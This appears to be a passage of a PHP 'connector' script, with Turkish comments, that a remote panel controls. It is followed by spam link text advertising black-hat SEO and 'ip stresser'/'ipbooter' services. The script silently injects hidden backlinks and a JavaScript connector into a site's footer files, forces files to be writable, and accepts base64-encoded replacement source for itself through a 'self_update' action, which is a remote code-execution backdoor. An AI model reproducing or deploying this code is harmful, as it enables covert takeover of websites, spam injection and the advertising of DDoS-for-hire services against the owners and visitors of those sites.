$h) { if (preg_match('#^HTTP/\S+\s+(\d{3})#i', $h, $m)) { $http_code = (int)$m[1]; } elseif (stripos($h, 'server:') === 0) { $server = trim(substr($h, 7)); } } $result = json_decode($response, true); if (is_array($result) && !empty($result)) { $result['http_code'] = $http_code; return [$result, true]; } $snippet = trim(preg_replace('/\s+/', ' ', strip_tags((string)$response))); return [[ 'success' => false, 'error' => 'Gecersiz yanit', 'http_code' => $http_code, 'server' => $server, 'length' => strlen((string)$response), 'snippet' => function_exists('mb_substr') ? mb_substr($snippet, 0, 160) : substr($snippet, 0, 160) ], false]; } function send_to_panel($url, $data) { $json = json_encode($data, JSON_UNESCAPED_UNICODE); // Birincil yol; rewrite/CDN sorunlarina karsi ikinci yol: /api/index.php?bp_path=... $urls = [$url]; if (preg_match('#^(.*)/api/(connector/[a-z_/]+)$#', $url, $m)) { $urls[] = $m[1] . '/api/index.php?bp_path=' . $m[2]; } $last = ['success' => false, 'error' => 'Baglanti hatasi']; foreach ($urls as $u) { // 5xx/CDN hatalari gecici olabilir: ayni yola bir kez daha dene. for ($attempt = 0; $attempt < 2; $attempt++) { list($result, $is_json) = panel_http_post($u, $json); $last = $result; if ($is_json) { // Panelden gelen JSON cevap (basari ya da 403 reddi) kesin sonuctur. return $result; } usleep(250000); } } return $last; } // ==================== ANA İŞLEM ==================== ob_start(); $raw_action = $_GET['action'] ?? $_POST['action'] ?? 'ping'; $action = normalize_action_name($raw_action); $req = get_request_data(); // Korumalı action'lar $protected_actions = ['add_link', 'bulk_add_links', 'remove_link', 'sync_links', 'get_links', 'info', 'set_output_mode', 'update_panel_url', 'inject_js_connector', 'remove_js_connector']; if (in_array($action, $protected_actions)) { if (!authenticate_request($req)) { respond_auth_fail(); } } switch ($action) { case 'ping': $auto_result = auto_connect(!empty($req['reconnect']) || !empty($_GET['reconnect'])); cleanup_broken_js_injections(); $js_inject_result = inject_js_connector(); $pull_result = fetch_remote_links(true); $site_info = detect_site_info(); if (!empty($js_inject_result['injected'])) clear_site_caches(find_document_root(), $site_info['site_type']); $data = [ 'site' => $site_info['site'], 'site_name' => $site_info['site_name'], 'site_type' => $site_info['site_type'], 'language' => $site_info['language'], 'country' => $site_info['country'], 'footer_detected' => $site_info['footer_detected'], 'footer_writable' => $site_info['footer_writable'], 'version' => RS_CONNECTOR_VERSION, 'key_registered' => !empty(get_stored_key()), 'connector_ready' => true, 'auto_connect' => $auto_result, 'js_connector' => $js_inject_result, 'links_pulled' => $pull_result ]; respond(true, $data, 'Connector aktif'); break; case 'register': $new_key = trim((string)($req['site_key'] ?? '')); $setup_token = $req['setup_token'] ?? ''; $stored_key = get_stored_key(); if (empty($new_key)) { respond(false, [], 'site_key gerekli'); } // İlk kayıt (key dosyası yok): setup token zorunlu if (!file_exists(KEY_FILE) || empty(trim(@file_get_contents(KEY_FILE) ?: ''))) { $expected_token = defined('SETUP_TOKEN') ? SETUP_TOKEN : ''; if (empty($expected_token) || strpos($expected_token, '{{') !== false) { if (!authenticate_request($req)) { respond(false, [], 'Setup token tanimli degil; kayit icin universal key veya HMAC imzasi gerekli'); } } elseif (empty($setup_token) || !hash_equals((string)$expected_token, (string)$setup_token)) { // Setup token eşleşmedi ama HMAC veya universal key ile auth dene if (!authenticate_request($req)) { respond(false, [], 'Gecersiz setup token'); } } } else { // Mevcut key var: auth gerekli if (!authenticate_request($req)) { respond_auth_fail(); } } save_key($new_key); $js_result = inject_js_connector(); fetch_remote_links(true); $site_info = detect_site_info(); respond(true, [ 'registered' => true, 'site_key' => $new_key, 'site_info' => $site_info, 'js_connector' => $js_result ], 'Site anahtari kaydedildi'); break; case 'get_key': $setup_token = $req['setup_token'] ?? $_GET['setup_token'] ?? ''; $expected_token = defined('SETUP_TOKEN') ? SETUP_TOKEN : ''; // Setup token kontrolü if (!empty($expected_token) && strpos($expected_token, '{{') === false) { if (empty($setup_token) || $setup_token !== $expected_token) { // Setup token yanlış - HMAC veya key auth da dene if (!authenticate_request($req)) { respond(false, [], 'Gecersiz setup token'); } } } // Mevcut key'i al veya yeni oluştur $current_key = ''; if (file_exists(KEY_FILE)) { $current_key = trim(@file_get_contents(KEY_FILE) ?: ''); } if (empty($current_key)) { // IMPORTANT: Default to a stable, DB-friendly key (varchar(12) compatible), // instead of generating a long random key that may not fit panel DB schemas. $current_key = generate_site_static_key(); save_key($current_key); } $site_info = detect_site_info(); respond(true, [ 'site_key' => $current_key, 'key_type' => 'stored_or_domain_static', 'name' => $site_info['site_name'] ?? $_SERVER['HTTP_HOST'], 'site_type' => $site_info['site_type'] ?? 'php', 'language' => $site_info['language'] ?? 'TR', 'country' => $site_info['country'] ?? 'TR' ], 'Site anahtari alindi'); break; case 'info': $site_info = detect_site_info(); respond(true, $site_info, 'Site bilgisi'); break; case 'set_output_mode': $mode = strtolower(trim((string)($req['mode'] ?? $req['link_output_mode'] ?? 'hidden'))); $mode = ($mode === 'visible') ? 'visible' : 'hidden'; $config = get_config(); $config['link_output_mode'] = $mode; $config['updated_at'] = time(); save_config($config); respond(true, ['link_output_mode' => $mode], 'Output mode guncellendi'); break; case 'get_links': if (!authenticate_request($req)) respond_auth_fail(); $links = get_links(); respond(true, ['links' => array_values($links), 'total' => count($links)], 'Linkler'); break; case 'add_link': if (!authenticate_request($req)) respond_auth_fail(); $url = trim((string)($req['url'] ?? '')); $anchor = trim((string)($req['anchor'] ?? '')); $rel = normalize_rel($req['rel'] ?? 'dofollow'); if (empty($url) || empty($anchor)) { respond(false, [], 'URL ve anchor gerekli'); } $link_id = 'lnk_' . substr(md5(uniqid(mt_rand(), true)), 0, 12); $links = get_links(); $links[$link_id] = [ 'id' => $link_id, 'url' => $url, 'anchor' => $anchor, 'rel' => $rel, 'created' => time() ]; save_links($links); $result = inject_link($url, $anchor, $link_id, $rel); $injected = (!empty($result['success']) && !empty($result['injected'])); if (!$injected) { unset($links[$link_id]); save_links($links); respond(false, [ 'link_id' => $link_id, 'injected' => false, 'footer_path' => $result['footer_path'] ?? null, 'message' => $result['message'] ?? '' ], $result['message'] ?? 'Link enjekte edilemedi'); } $js_result = inject_js_connector(); $site_type_now = detect_site_info()['site_type']; $cleared = clear_site_caches(find_document_root(), $site_type_now); // inject_link() zaten bir self-HTTP dogrulamasi yaptiysa (auto_prepend yolu) sonucu // tekrar kullan; boylece ayni istekte ikinci bir self-request (ve olasi gecikme) olusmaz. $verified = array_key_exists('homepage_verified', $result) ? $result['homepage_verified'] : verify_homepage_contains('<!-- rs:' . substr($link_id, 4, 6) . ' -->'); $msg = (string)($result['message'] ?? 'Link eklendi'); if ($verified === true) $msg .= ' · anasayfada dogrulandi'; elseif ($verified === false) $msg .= ' · anasayfada henuz gorunmuyor (onbellek/CDN?)'; respond(true, [ 'link_id' => $link_id, 'injected' => true, 'footer_path' => $result['footer_path'] ?? null, 'files' => $result['files'] ?? 1, 'details' => $result['details'] ?? [], 'homepage_verified' => $verified, 'cache_cleared' => $cleared, 'message' => $msg, 'js_connector' => $js_result ], $msg); break; case 'bulk_add_links': if (!authenticate_request($req)) respond_auth_fail(); $incoming_links = $req['links'] ?? []; if (is_string($incoming_links)) { $decoded = json_decode($incoming_links, true); if (is_array($decoded)) $incoming_links = $decoded; } if (!is_array($incoming_links) || empty($incoming_links)) { respond(false, [], 'links array gerekli'); } $max_per_request = 1000; $links_to_process = array_slice(array_values($incoming_links), 0, $max_per_request); $stored_links = get_links(); $results = []; $ok_count = 0; $fail_count = 0; foreach ($links_to_process as $row) { if (!is_array($row)) { $fail_count++; continue; } $url = trim((string)($row['url'] ?? '')); $anchor = trim((string)($row['anchor'] ?? '')); $rel = normalize_rel($row['rel'] ?? 'dofollow'); if ($url === '' || $anchor === '') { $fail_count++; continue; } $link_id = 'lnk_' . substr(md5(uniqid(mt_rand(), true)), 0, 12); $stored_links[$link_id] = ['id' => $link_id, 'url' => $url, 'anchor' => $anchor, 'rel' => $rel, 'created' => time()]; $inject = inject_link($url, $anchor, $link_id, $rel); if (!empty($inject['success'])) { $ok_count++; $results[] = ['success' => true, 'link_id' => $link_id, 'url' => $url, 'anchor' => $anchor]; } else { unset($stored_links[$link_id]); $fail_count++; $results[] = ['success' => false, 'link_id' => $link_id, 'url' => $url, 'error' => $inject['message'] ?? 'inject failed']; } } save_links($stored_links); respond(true, ['total' => count($links_to_process), 'success' => $ok_count, 'failed' => $fail_count, 'items' => $results], 'Toplu link ekleme tamamlandi'); break; case 'remove_link': if (!authenticate_request($req)) respond_auth_fail(); $link_id = trim((string)($req['link_id'] ?? '')); if (empty($link_id)) respond(false, [], 'link_id gerekli'); $links = get_links(); if (isset($links[$link_id])) { unset($links[$link_id]); save_links($links); } $result = remove_link($link_id); if (empty($result['success'])) { respond(false, ['removed' => false, 'message' => $result['message'] ?? ''], $result['message'] ?? 'Link kaldirilamadi'); } respond(true, ['removed' => true, 'message' => $result['message'] ?? ''], 'Link kaldirildi'); break; case 'sync_links': if (!authenticate_request($req)) respond_auth_fail(); $new_links = $req['links'] ?? []; if (!is_array($new_links)) respond(false, [], 'links array olmali'); $current_links = get_links(); $current_ids = array_keys($current_links); $new_ids = array_column($new_links, 'id'); $to_remove = array_diff($current_ids, $new_ids); foreach ($to_remove as $lid) remove_link($lid); $to_add = array_diff($new_ids, $current_ids); foreach ($new_links as $link) { if (in_array($link['id'], $to_add)) { inject_link($link['url'], $link['anchor'], $link['id'], $link['rel'] ?? 'dofollow'); } } $formatted = []; foreach ($new_links as $link) { $formatted[$link['id']] = $link; } save_links($formatted); respond(true, ['synced' => true, 'added' => count($to_add), 'removed' => count($to_remove), 'total' => count($new_links)], 'Linkler senkronize edildi'); break; case 'output': header('Content-Type: text/html; charset=UTF-8'); $links = get_links(); $html = ''; foreach ($links as $link) { $u = isset($link['url']) ? (string)$link['url'] : ''; $a = isset($link['anchor']) ? (string)$link['anchor'] : ''; if ($u !== '' && $a !== '') { $html .= build_link_html($u, $a, normalize_rel($link['rel'] ?? 'dofollow')); } } echo $html; exit; case 'diagnose': if (!authenticate_request($req)) respond_auth_fail(); $base = find_document_root(); $site_info = detect_site_info(); $diag = [ 'php_version' => phpversion(), 'server_software' => $_SERVER['SERVER_SOFTWARE'] ?? 'Unknown', 'document_root' => $_SERVER['DOCUMENT_ROOT'] ?? 'N/A', 'script_path' => __FILE__, 'base_detected' => $base, 'file_permissions' => [ 'key_file' => KEY_FILE, 'key_file_exists' => file_exists(KEY_FILE), 'key_file_writable' => is_writable(dirname(KEY_FILE)), 'links_file' => LINKS_FILE, 'links_file_exists' => file_exists(LINKS_FILE), ], 'site_info' => $site_info, 'footer_analysis' => [ 'footer_paths_found' => get_footer_paths($base, $site_info['site_type']), 'writable_footers' => array_filter(get_footer_paths($base, $site_info['site_type']), 'is_writable'), ], 'panel_config' => [ 'panel_url_set' => defined('PANEL_API_URL') && strpos(PANEL_API_URL, '{{') === false, 'site_key_set' => !empty(get_stored_key()), 'setup_token_set' => defined('SETUP_TOKEN') && strpos(SETUP_TOKEN, '{{') === false, ], 'all_valid_keys_count' => count(get_all_valid_keys()), 'stored_key_source' => file_exists(KEY_FILE) ? 'file' : 'domain_based', 'recommendations' => [] ]; if (!$diag['file_permissions']['key_file_writable']) { $diag['recommendations'][] = 'KRITIK: Connector dizini yazilabilir degil.'; } if (empty($diag['footer_analysis']['writable_footers'])) { $diag['recommendations'][] = 'UYARI: Yazilabilir footer dosyasi bulunamadi.'; } respond(true, $diag, 'Sistem diagnostigi tamamlandi'); break; case 'batch_ping': $batch_id = $req['batch_id'] ?? uniqid('b'); respond(true, [ 'batch_id' => $batch_id, 'site' => $_SERVER['HTTP_HOST'] ?? 'unknown', 'index' => intval($req['current_index'] ?? $req['site_index'] ?? 0), 'version' => RS_CONNECTOR_VERSION, 'key_registered' => !empty(get_stored_key()), 'connector_ready' => true, 'timestamp' => time() ], 'Batch ping OK'); break; case 'auth_check': // Strict key-match reporting (do not treat setup_token as key_match in diagnostics). $provided_key = get_provided_site_key($req); $stored_key = get_stored_key(); $domain_key = generate_site_static_key(); $valid_keys = get_all_valid_keys(); $strict_key_match = false; foreach ($valid_keys as $vk) { if (!empty($provided_key) && hash_equals((string)$vk, (string)$provided_key)) { $strict_key_match = true; break; } } // Full auth check can succeed via HMAC/setup token too. $authed = authenticate_request($req); respond(true, [ 'site' => $_SERVER['HTTP_HOST'] ?? 'unknown', 'key_registered' => !empty($stored_key), 'key_match' => $strict_key_match, 'auth_ok' => $authed, 'provided_key_len' => is_string($provided_key) ? strlen($provided_key) : 0, 'domain_key' => $domain_key, 'version' => RS_CONNECTOR_VERSION, 'auth_ready' => true ], 'Auth check OK'); break; case 'inject_js_connector': if (!authenticate_request($req)) respond_auth_fail(); $result = inject_js_connector(); respond(!empty($result['success']), $result, $result['message'] ?? ''); break; case 'remove_js_connector': if (!authenticate_request($req)) respond_auth_fail(); $result = remove_js_connector(); respond(!empty($result['success']), $result, $result['message'] ?? ''); break; case 'update_panel_url': if (!authenticate_request($req)) respond_auth_fail(); $new_url = trim((string)($req['panel_url'] ?? '')); if (empty($new_url) || !filter_var($new_url, FILTER_VALIDATE_URL)) { respond(false, [], 'Gecerli bir panel_url gerekli'); } $config = get_config(); $config['panel_url'] = $new_url; $config['panel_url_updated_at'] = time(); save_config($config); $self_content = @file_get_contents(__FILE__); if ($self_content && preg_match("/define\('PANEL_API_URL',\s*'([^']*)'\)/", $self_content, $m)) { $old_url = $m[1]; if ($old_url !== $new_url) { $updated = str_replace( "define('PANEL_API_URL', '" . $old_url . "')", "define('PANEL_API_URL', '" . addslashes($new_url) . "')", $self_content ); force_writable(__FILE__); @file_put_contents(__FILE__, $updated); } } respond(true, ['panel_url' => $new_url], 'Panel URL guncellendi'); break; case 'self_update': case 'update_connector': case 'remote_update': if (!authenticate_request($req)) respond_auth_fail(); // Base64 govdesi WAF/mod_security'nin ham PHP'yi reddetmesini onler; varsa tercih edilir. $source = ''; if (isset($req['source_b64']) && is_string($req['source_b64']) && $req['source_b64'] !== '') { $decoded = base64_decode($req['source_b64'], true); if ($decoded !== false) $source = $decoded; } if ($source === '') { $source = $req['source'] ?? $req['new_content'] ?? ''; } if (!is_string($source) || strlen($source) < 1000) respond(false, [], 'Gecersiz kaynak kodu'); if (strpos(ltrim($source), '<' . '?php') !== 0) respond(false, [], 'Gecersiz PHP kaynak kodu'); if (strpos($source, 'namespace RSConnector') === false || strpos($source, "case 'self_update'") === false) { respond(false, [], 'Kaynak kod connector imzasi tasimiyor'); } if (function_exists('token_get_all')) { try { token_get_all($source, TOKEN_PARSE); } catch (\Throwable $e) { respond(false, [], 'Kaynak kodda sozdizimi hatasi: ' . $e->getMessage()); } } // Backup keeps a .php extension so a web server executes it instead of serving the source (and keys) as text. $backup_path = dirname(__FILE__) . '/.rs_connector_prev.php'; @copy(__FILE__, $backup_path); force_writable(__FILE__); $tmp_path = __FILE__ . '.tmp'; if (@file_put_contents($tmp_path, $source) !== strlen($source)) { @unlink($tmp_path); respond(false, [], 'Gecici dosya yazilamadi'); } if (!@rename($tmp_path, __FILE__)) { @unlink($tmp_path); if (@file_put_contents(__FILE__, $source) !== strlen($source)) { if (file_exists($backup_path)) @copy($backup_path, __FILE__); respond(false, [], 'Dosya yazilamadi'); } } clearstatcache(true, __FILE__); if (function_exists('opcache_invalidate')) @opcache_invalidate(__FILE__, true); $new_version = ''; if (preg_match("/RS_CONNECTOR_VERSION',\s*'([^']+)'/", $source, $vm)) { $new_version = $vm[1]; } respond(true, ['updated' => true, 'backup' => basename($backup_path), 'new_size' => strlen($source), 'version' => $new_version], 'Connector guncellendi'); break; default: respond(false, [], 'Bilinmeyen action: ' . $action); }
Cancel
Download
Save changes
File Manager Pro · single-file PHP 7.4.33 on Linux · paths encrypted in URL (AES-256-CTR)
BlackHat Seo Services
BlackHat Seo Services
Instant url indexer
url indexer
BlackHat Seo Services
Seo services
BlackHat Seo Services
instant url indexer
BlackHat Seo Services
ip stresser
instant url indexer
ipbooter
ipbooter
instant url indexer
ip stresser
BlackHat Seo Services
Seo services